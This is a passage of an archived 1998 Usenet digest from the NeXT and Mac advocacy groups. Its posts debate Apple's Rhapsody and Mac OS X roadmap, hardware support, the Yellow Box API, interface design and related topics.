he'd admit to being dumped because they thought he was technically inaccurate
and sucked. Though he was and is no worse than the rest of the macraggers,
so I tend to believe him.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Date: Tue, 14 Jul 1998 21:16:33 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <stevehix-1407982116340001@ip39.safemail.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu>
Organization: Close to None
In article <6ogco6$8ma$1@hole.sdsu.edu>, etomlins@rohan.sdsu.edu
(tomlinson) wrote:
> x.psn.net>
>
> Michael M. Eilers (not@a.valid.email.add) wrote:
>
> : the idea of spending one dime more upgrading it. Computers cost money,
> : dammit! Anyone who has ever bought a computer and expected to never buy
> : one again is just plain ignorant in the extreme--as stupid as buying a car
> : and thinking the only expenses will be gas, oil, and air filters, and it
> : will last forever.
>
> This is an extremely poor analogy, one that does not do your cause
> credit. Keeping and maintaining a car for any length of time may
> cost money, but not the sort of money needed to get rid of the
> car every two years and buy a brand-new replacement. (At least,
> no sane person would do that...right?)
Waht was the average period of ownership for new cars again?
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 14 Jul 1998 18:59:09 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-1407981859100001@pm3a4.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <Josh.McKee-1307982004310001@pm3a3.rmac.net> <6og3pl$eqq2@eccws1.dearborn.ford.com>
In article <6og3pl$eqq2@eccws1.dearborn.ford.com>, tph@rmi.net wrote:
> Joshua T. McKee (Josh.McKee@cbns.com) wrote:
[ Snip - my comments about Apple and Rhapsody ]
> You're confused. MacOS X has not replaced Rhapsody. MacOS X is
> basically Rhapsody 2.0. The initial release of Rhapsody is still
> planned for later this year, and is the same system that they've
> promised all along. Rhapsody _will_ run on the Macs shipping at
> the time of the initial announcement, or most of them at least,
> because the current developer release already does. You're upset
> at losing something that is not actually gone.
No confusion at all. If OS X is to be Rhapsody 2.0, and Rhapsody 1.0 will
run on pre-G3 Macs, then it appears that Apple isn't living up to it's
promise.
Sure, Rhapsody "1.0" will run on pre-G3 Macs...big deal if it is
DOA...which is effectively what Apple has done to it. I can't see any
future in the "1.0" version of Rhapsody.
[ Snip - My comments about not being able to use Apple latest OS on my 8100 ]
> It would appear that you've learned a valuable lesson here. Never
> buy hardware on the promises of future software releases.
No, I did not purchase my current system to run the next OS. I bought it
because it did/does what I want better than any other system. If my
system nevers runs another OS upgrade, fine with me...it does everything I
want right now.
However, I don't find it unreasonable to for those who purchased a PCI
based Mac with the intent to run Rhapsody to be a little upset. I see no
reason why Rhapsody "2.0" (IE, OS X) to run on pre-G3 Macs.
Josh
Date: Tue, 14 Jul 1998 21:28:45 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <stevehix-1407982128450001@ip39.safemail.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <not-1407981518530001@2-79.phx.psn.net>
Organization: Close to None
In article <not-1407981518530001@2-79.phx.psn.net>, eilersm@azstarnet.com wrote:
> In article <6ogh3r$eju$1@news.digifix.com>, sanguish@digifix.com (Scott
> Anguish) wrote:
>
> > Sorry, but I'm not some armchair pontiff on Usenet.
> >
> > I'm a full-time developer, and run an OpenStep/Rhapsody
> > information site that is OLDER than Macintouch.
>
> And, as such, have a vested interest in Yellow Box evangelism. Which of
> course disqualifies you from having an objective discussion on the
> subject. A burden that Mr. Norr does not carry, I am afraid.
>
> So tell us again, why should we listen to you over Mr. Norr? Biased,
> bitter developer who got the shaft vs. objective journalist's opnion?
This argument would be more persuasive if Mr. Norr came across
as a bit more objective.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Apple heading to obscurity? (Now, the twilight zone)
Message-ID: <cdoutyEw4C52.2n7@netcom.com>
Organization: Netcom
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <MPG.10145c959cb2eb25989990@news.supernews.com> <slrn6qniv1.m36.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <MPG.1015a146386d6523989998@news.supernews.com>
Date: Wed, 15 Jul 1998 04:22:13 GMT
Sender: cdouty@netcom3.netcom.com
In article <MPG.1015a146386d6523989998@news.supernews.com>,
Donald Brown <don.brown@cesoft.com> wrote:
>In article <slrn6qniv1.m36.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
>NOSPAMmbkennelNOSPAM@yahoo.com says...
>> On Mon, 13 Jul 1998 19:04:41 -0500, Donald Brown <don.brown@cesoft.com> wrote:
>> :Here's what I would need before I even care about how great it is:
[snip]
>> :A YellowBox for MacOS 7.x and 8.x
>>
>> Never. If MacOS 7/8 were good enough to host OpenStep they wouldn't have
>> needed to buy NeXT. It's just a near technological impossibility.
>
>Then I am not interested in YellowBox until such time as at least the
>vast majority of Macs are running Rhapsody/X. I can't make a living as a
>Mac programmer whose Mac programs only run on Rhapsody/X.
So stop thinking of yourself as a *Mac* programmer. Would you rather
sell to 5,000,000 (assuming half of the installed mac seats can actually run
your program) Mac users or 50,000,000 Windoze users and an ever-growing
number of Mac users? That math seems pretty straightforward to me.
>> You can have 4 of 5
>
>Nope. 2 of 5. The 2 meaning that OpenStep lets me sell my product to
>Windows users and a small, small sliver of Mac users.
You seek to deny the vast majority of computer users the chance to run
your software until they "prove" themselves? That's the attitude that
killed the original NeXT and has hampered the Macintosh for 20+ years.
Of course you may write (or not) in any environment you desire and sell
to whomever you choose. That is one of your rights as a human being.
>No sale.
Your choice.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 14 Jul 1998 23:34:12 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <mNOSPAMroeder-1407981257200001@192.168.21.171>,
mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> In article <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > On 14 Jul 1998, John Kheit wrote:
> >
> > I think John is refering to the fact that Apple is not significantly
> > advancing or replacing the same old Mac OS UI. Mac OS X and Rhapsody don't
> > have any UI direction shifts. Little attempt was apparently made to
> > improve the Mac OS UI and the NeXT UI.
>
> That's because the Mac UI works well and people know it.
Are you suggesting that the Mac UI is the epitome of UIs and that no
significant improvement is possible?
> > At best, Apple is using some of the
> > better features from both, but isn't pushing any truly interesting and
> > useful, new concepts.
>
> Like what?
I don't know specifically. Apple has introduced nothing revolutionary in a
long time as it did with the Macintosh when it first came out.
OpenDoc was interesting. A document centered way of computing was new. It
was slow and wasn't always stable, but the idea was great and could have
fueled a shift in the way we use our computers. Unfortunately Apple killed
that.
> > Rather than making the UI far better than anything else in the world, Mac
> > OS X still looks and behaves a lot like the original Mac OS.
>
> Again, that's because the original UI worked very well, and with subtle
> improvemnets, it continues to work well and be familiar.
That's all well and good, but where is the room for advancement?
If we must stick with subtle improvements and keep everything familiar,
then when are we going to get something new and something significantly
better?
The Macintosh was new and unfamiliar when it came out. It was scoffed at by
some and feared by others. What came before seemed to work well for people
yet now many of the concepts introduced to the world with the Macintosh are
commonplace and accepted.
> >There are
> > better alternatives to nearly everything that is in the Mac OS that could
> > be implemented.
>
> Like what?
How about the menu system?
See http://www.ews.uiuc.edu/~tokarek/rhapsody
How about the handling of the file system where cross-platform file sharing
can cause the user confusion and annoyance?
Perhaps file types could be based not on name like Windows, and not with a
couple of invisible codes like the Mac OS, but by the actual kind of file
the thing is. Jpeg images can be distinguished as jpegs without a .jpg file
name. You can call the .gif files and it doesn't change the image format.
Word Perfect documents can be distinguished from Word 97 documents without
an extension or type/creator code.
Why not have an OS that is able to have defining characterisics of files be
registered in order to determine the file type is and what application
should open it?
Granted, these are not fundamental changes with how we interact with
computers, but they are advancements over the current Mac OS.
I would like to see a fundamental change in the way we interact with
computers. I think it could be a lot better. Specifically how it could be
better, I don't know, but that shouldn't be a barrier to trying to think of
such things.
> > Yes, the Mac OS UI is a lot better than Windows, but the
> > Windows UI is so bad that it's not very flattering to say that something
> > is better. ('Wow, your face looks a lot better than that moldy, bug
> > infested pile of dung over there!' That would be a good example of the
> > kind of comparison I'm talking about. :)
>
> As I said elsewhere, the automobile UI hasn't changed very much since it
> was standardized sometime in the '60s. (Mostly as a result of things like
> the Corvair's pushbutton automatic transmission controls, which were right
> underneath the pushbutton air conditioning controls. An amazing number of
> people were surprised when they turned on their air conditioners and had
> their engines fall out.) There have been a few changes here and there, but
> the basics of what the controls and indicators are and how they are shaped
> have not changed. We don't have significant changes in that UI every few
> years.
We haven't had a significant change in the Mac UI for 14 years. The
original concepts have just been advanced further. There has been no major
paradigm shift.
Maybe you argue that's a good thing, but while Apple has been eeking by,
other companies have been enhancing and advancing their UIs. I'm generally
very critical of Windows, but there are a few good ideas there. Apple is
playing catch up in a lot of ways. It might be best if it can blaze past
the competition with something completely new.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
Date: Tue, 14 Jul 1998 21:48:09 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <stevehix-1407982148090001@ip39.safemail.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net>
Organization: Close to None
In article <Josh.McKee-1407981853200001@pm3a4.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> In other words, Apple said that it would. The very same Apple that said
> that the NuBus PowerMacs would run the next generation OS Apple was going
> to deliver.
Point.
> The same Apple that said that "all currently shipping" (at
> the time the announcement was made) would run Rhapsody, which they've all
> but killed.
MacOS X Server is *not* going to ship later this year?
> Unfortunately, I cannot take Apple for anything it says. They've promised
> so much and delivered so little.
So go play with someone who doesn't promise anything...
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: petrich@netcom.com (Loren Petrich)
Subject: Not Able to Do QuickTime Very Well?
Message-ID: <petrichEw44Br.3Cs@netcom.com>
Organization: Netcom
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu> <B1CFE27C-C238@206.165.43.144>
Date: Wed, 15 Jul 1998 01:33:26 GMT
Sender: petrich@netcom18.netcom.com
In article <B1CFE27C-C238@206.165.43.144>,
Lawson English <english@primenet.com> wrote:
>I made one such argument. It is based on e-mail that a former Apple
>engineer sent to me about 8 months ago where he asserted that the kernel
>used in Rhapsody wasn't able to host QuickTime properly. I'm sure that he
>didn't mean for playback, so I assume that he meant for high-end,
>professional video creation.
If that problem is a real one, then that means that the Mach
kernel is not sufficiently real-time for such purposes as displaying
QuickTime video.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 18:23:17 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-1407981823170001@sdn-ar-001casbarp145.dialsprint.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6ogh3r$eju$1@news.digifix.com> <chaps-ya02408000R1407982254110001@nntp.netcomuk.co.uk> <35ABD621.669B3BEE@ericsson.com> <6oguso$opt$1@lwnws01.ne.highway1.com>
In article <6oguso$opt$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> Michael Peck <Michael.Peck@ericsson.com> wrote:
> > Scott Anguish is an advocate. Henry Norr is a journalist. Which would
> > explain why one posts to CSNA, and the other doesn't. I hope this
> > answers your question, Scott, regarding why anyone listens to Henry Norr
> > (and the implicit question regarding why many fewer people listen to
> > you).
>
> Umhmm. I think the major reason is Norr has been published and has name
> recognition. The reason he was bumped, I don't know why.
He claims he left because macweek wanted to be mindless mac cheerleaders,
and he wanted to be able to stick to the facts. Being mindlessly pro
anything will make one not be factual, not matter what it is.
--
So many pedestrians, so little time.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 00:22:06 GMT
Organization: I don't think so
Message-ID: <slrn6qntq0.1ng.jason@jhste1.dyn.ml.org>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <B1CC45E8-D794A@206.165.43.3> <6od786$g3$1@server.signat.org> <joe.ragosta-1307981231290001@wil55.dol.net> <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <1dc6b2u.6virir1luxgkvN@rhrz-isdn3-p26.rhrz.uni-bonn.de>
Dirk Theisen posted the following to comp.sys.mac.advocacy:
>What really disappoints me is Apples "we only support our (price-)
>pushed (low-end design) G3 systems" for Mac OS X.
>They have support for 604 systems in Rhapsody right now. OK, they might
>have to write new display drivers. How many? Three or so (internal, ATI,
>TwinTurbo). No big deal, really.
With Open Firmware, display drivers are somewhat optional (if you want
to suffer with 8-bit color in a single resolution). A driver to fully
initialize the card isn't that big a deal (see Linux/PowerPC sources for
examples). The drivers for accelerated stuff is a bigger deal, though.
>I hope they will at least document everything to allow hackers to write
>the missing drivers and so support the rest of the PCI machines.
Hahahahaha! Apple? And don't expect IXMicro to be all that forthcoming
either, judging from the Linux/PowerPC experience with them (no docs
despite repeated requests).
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Date: 15 Jul 1998 03:42:49 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oh8fp$2mv$1@lwnws01.ne.highway1.com>
References: <35abb9e5.0@d2o103.telia.com> <B1D14061-60C40@206.165.43.216>
"Lawson English" <english@primenet.com> wrote:
> Maybe. But QT for professional video likely has all sorts of real-time
> processing needs that Mac 2.5 couldn't handle. Will Mach 3.0 handle
> them? Name a professional video production system based on Mach 3.0
> [just asking as I don't know either way].
I agree. This is one buzzword feature that MACH is missing. Real-time
scheduling. From my extremely limited knowledge on this topic NeXTTIME and
QUICKTIME on OSX implement scheduling stuff internally (someone please
correct me if I'm wrong) and go to some lengths to try to ensure
synchronization et al. Now to some extent this is a good thing because for
cross platform purposes (i.e. Quicktime on windows) with OSs that do not have
realtime scheduling. However, I imagine that in general this is a wanted
system level feature; i.e. all other things being equal and if we could
magically get this for free without breaking other things it would be nice to
have. Now I haven't clue one about how involved it would be to get real-time
scheduling into the MACH kernel, but would very greatful, and would love to
be educated on this topic.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Date: Tue, 14 Jul 1998 21:13:33 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted
Message-ID: <stevehix-1407982113340001@ip39.safemail.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <FIiROLCWddLd-pn2-x5YwSjPp5bUS@localhost>
Organization: Close to None
In article <FIiROLCWddLd-pn2-x5YwSjPp5bUS@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> And silly me for not only expecting to get Rha... Mac OS X running on
> my year-old machine,
If you've got a PCI Mac, that's what you'll be able to have
by the end of this year. You just don't get to run version
2.0 on it.
> but also for expecting to get it for free.
Now, *that* was silly.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 15 Jul 1998 03:57:26 GMT
Organization: Digital Fix Development
Message-ID: <6oh9b6$m0d$1@news.digifix.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net> <6oga6q$iv$1@news.xmission.com> <35abb32c.0@news.depaul.edu> <joe.ragosta-1407981635580001@wil37.dol.net> <6oglng$ft8$1@news.digifix.com> <joe.ragosta-1407982020370001@elk70.dol.net>
In-Reply-To: <joe.ragosta-1407982020370001@elk70.dol.net>
On 07/14/98, Joe Ragosta wrote:
<snip>
>>
>> What he's describing sounds like Foundation though...
>>
>> The YB runtime issues lie squarely in the realm of Adobe
and
>> to a lesser extent the Unisys LZW patent.
>
>Shouldn't Adobe's plans to drop DPS make that issue easier?
>
Well, if Adobe wasn't being anal about the bottom line and
would show at least a little gratitude for Carbon, and give Apple a
break, sure.
But they aren't.
>As for Unisys, I don't want to have anything to do with them. I
bought
>their stock a year ago at 7 and sold it a few months ago at 19. My
brother
>convinced me to take the profits and run. It's around 27 today. Darn.
>
You did OK..
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 15 Jul 1998 01:09:07 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ogvfj$opt$2@lwnws01.ne.highway1.com>
References: <35AA8501.CF6AAF27@nospam.com> <Pine.NXT.3.96.980714095829.3157E-100000@pathos> <6og17t$73c2@odie.mcleod.net> <6ogevp$ndb$1@nnrp1.dejanews.com>
agave@my-dejanews.com wrote:
> Maybe it's YellowBox, maybe Carbon, maybe something else entirely.
> YellowBox has been effectively relegated to "just" another API.
> It doesn't have the same status as it did under NEXTSTEP but I
> think that's a good thing. If YellowBox can not compete
> with other solutions (eg Carbon, Win32s, etc) then it _should_
> die. I think your experience should tell you that YellowBox is
> a good solution to many problems your customers, and others like
> them, face. I'm curious what you're now advocating to your
> customers instead of YellowBox. YellowBox is not dead. It is
> no longer the "One True API" either. People now have a choice.
> I believe that YellowBox will hold its own against anything
> derived from the MacOS Toolbox but it won't matter how good
> YellowBox is if Apple can't keep their current developers because
> it will sink with the rest of the ship.
Well, the above would be true if the better product would always win out in a
marketplace. That is a pipe dream. Other factors keep quality product from
bubbling to the top like cream. Factors like lethargy, bias, tradition,
stupidity, etc. I'm sure all of those can quite effectively conspire and
kill any chance YB might have. Especially with the open-minded nature of mac
users and developers, it's an almost certainty.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple, replace g3's floppy with superdisk!!
Message-ID: <1998071501224200.VAA14509@ladder03.news.aol.com>
Date: 15 Jul 1998 01:22:42 GMT
Organization: AOL http://www.aol.com
References: <6of2r5$12q$1@news12.ispnews.com>
Actually, I find motorized eject a very nice convenience, and given that it's
included on even IDE Zip drives, can't cost all that much to add in--shame that
the PC doesn't have much in the way of OS level support for it (though didn't
IBM have the Slim High 5.25" HD drive with soft-button eject?).
To quote John Perry Barlow on NS for Intel, "mounting a floppy disk is the very
definition of a kludge."
I've always thought that Apple should've slipped a rider into the ADA mandating
computers with soft-eject floppies for the sake of quad/paraplegics who have
difficulty with stiff floppy eject buttons.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998071501244200.VAA06054@ladder01.news.aol.com>
Date: 15 Jul 1998 01:24:42 GMT
Organization: AOL http://www.aol.com
References: <1dc6iny.14bhwuc15rwxyeN@rhrz-isdn3-p59.rhrz.uni-bonn.de>
Michael Schuerig asked:
>Any pointers where I can get an impression of UIs that are very much
>better than what Apple has to offer?
Kevin Mullet and Darrell Sano's _Designing Visual Interfaces_ also grew out of
Sun's research into interfaces, like Tog on Software Design or Interface, but
is much more catholic in its outlook. Highly recommended, though I wish that
they'd covered more on PenPoint.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: 14 Jul 1998 23:11:01 -0400
Organization: MIT AI Lab
Sender: portnoy@kit
Message-ID: <us51zrn3j22.fsf@ai.mit.edu>
References: <35AA8501.CF6AAF27@nospam.com> <6odtla$gjd$1@news.digifix.com> <35ABC6AF.E076A460@nospam.com> <35ABC213.50ED7EFB@alum.mit.edu>
Eric Hermanson <eric@alum.mit.edu> writes:
[Re: java apps]
> Yes, as a developer, it would kick *your* butt. Go ahead and
> develop the "next great app" under Java, and ship it. Then see all
> of your competitors go to:
> http://meurrens.ml.org/ip-Links/Java/codeEngineering/decomp.html and
> download either Jad or Mocha/Jasmine, and watch them decompile all
> of your Java classes into source code in the blink of an eye. Watch
> them rename some methods, change some code around, and voila! They
> are shipping a competing product!
Of course, they're now guilty of copyright infringement. And because
they're shipping in Java, too, it's easy for you to prove it in court.
And even if they make a token attempt to change the code around enough
so that there are no easily traceable similarities, all it takes is
one disgruntled developer at your competitor's company who thinks he
can get more money from you for his testimony than he can get from his
company (which, given that they're obviously trying to cut costs,
probably will be easy) to spill the beans. Either way, mere weeks
after the competitor goes to market, he's slapped with a
cease-and-desist order and a long list of legal requests to release
documents, and looking at massive legal fees and no income from the
product line for many months.
I submit that there are few companies in our lawyer-hungry society
willing to risk their fate on a stunt like that.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 15 Jul 1998 03:59:51 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6oh9fn$2mv$4@lwnws01.ne.highway1.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <6ogvoh$opt$4@lwnws01.ne.highway1.com> <smileyy-1407982125240001@cin-oh2-14.ix.netcom.com>
smileyy@ix.netcom.com (Andrew McCormick) wrote:
> In article <6ogvoh$opt$4@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
>
> >mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
> >> That's because the Mac UI works well and people know it.
> >
> >And to those stuck in the crippling habit of windows 3.1, to
> >them it works well and they know it.
>
> ....which means the ideal is to improve the interface without
> major changes to what worked before.
Well if that were true, and ms listened to those that thought win3.1 was just
fine as is, it might have taken decades more before icons actually
represented files in a ms operating system! The point that *I* was making
was not what you suggest. And you are more than entitled to your opinion.
But mine is quite different. ms did the right thing by not listening to it's
whining, moaning, and nagging customers that were advocating a UI, not based
on merit, but based instead on their lethergy, sloth, habit, tradition, and
lack of desire to change and improve with the times. Now win95 may suck
beans, but it sucks significantly less than win3.1. Had ms cowtowed to the
*convention over merit* crowd the winUI would still be just like it was in
3.1.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 21:31:15 -0700
Organization: Digital Universe Corporation
Message-ID: <35AC3093.EA3DE40@alum.mit.edu>
